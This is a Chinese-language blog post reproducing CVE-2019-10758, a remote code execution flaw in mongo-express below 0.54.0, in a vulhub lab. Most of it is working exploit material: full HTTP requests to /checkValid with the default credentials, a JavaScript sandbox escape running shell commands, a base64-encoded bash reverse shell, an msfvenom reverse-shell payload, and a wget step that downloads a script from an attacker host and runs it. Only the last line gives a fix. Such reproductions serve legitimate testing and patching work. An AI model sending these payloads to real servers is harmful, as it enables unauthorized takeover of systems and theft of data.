CVE-2019-10758(mongo-express 远程代码执行漏洞)

1.漏洞描述&环境搭建

mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass),则可以执行任意node.js代码。

环境搭建:

下载vulhub项目切换到CVE-2019-10758目录下运行:

docker-compose up -d

环境启动后,访问http://10.211.55.2:8081即可查看到Web页面。

2.漏洞复现

影响范围:mongo-express < 0.54.0

直接发送如下数据包,即可执行代码this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success_poc")

POST /checkValid HTTP/1.1
Host: 10.211.55.2:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success_poc")

反弹shell:

直接修改命令去执行,发现并不触发,还得人为触发下:

POST /checkValid HTTP/1.1
Host: 10.211.55.2:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}")

先去使用kali生成一个python的反弹shell:

msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.5 LPORT=8888 -f raw > shell.py

python启一个服务,然后把文件下载保存在tmp:

POST /checkValid HTTP/1.1
Host: 10.211.55.2:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://10.211.55.5/shell.py -O /tmp/shell")

下载成功:监听8888端口,然后去触发,成功反弹shell:

POST /checkValid HTTP/1.1
Host: 10.211.55.2:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")

3.修复建议

升级mongo-express到0.54.0或更高版本

posted @ 2023-07-05 21:40  Arrest  阅读(721)  评论(0编辑  收藏  举报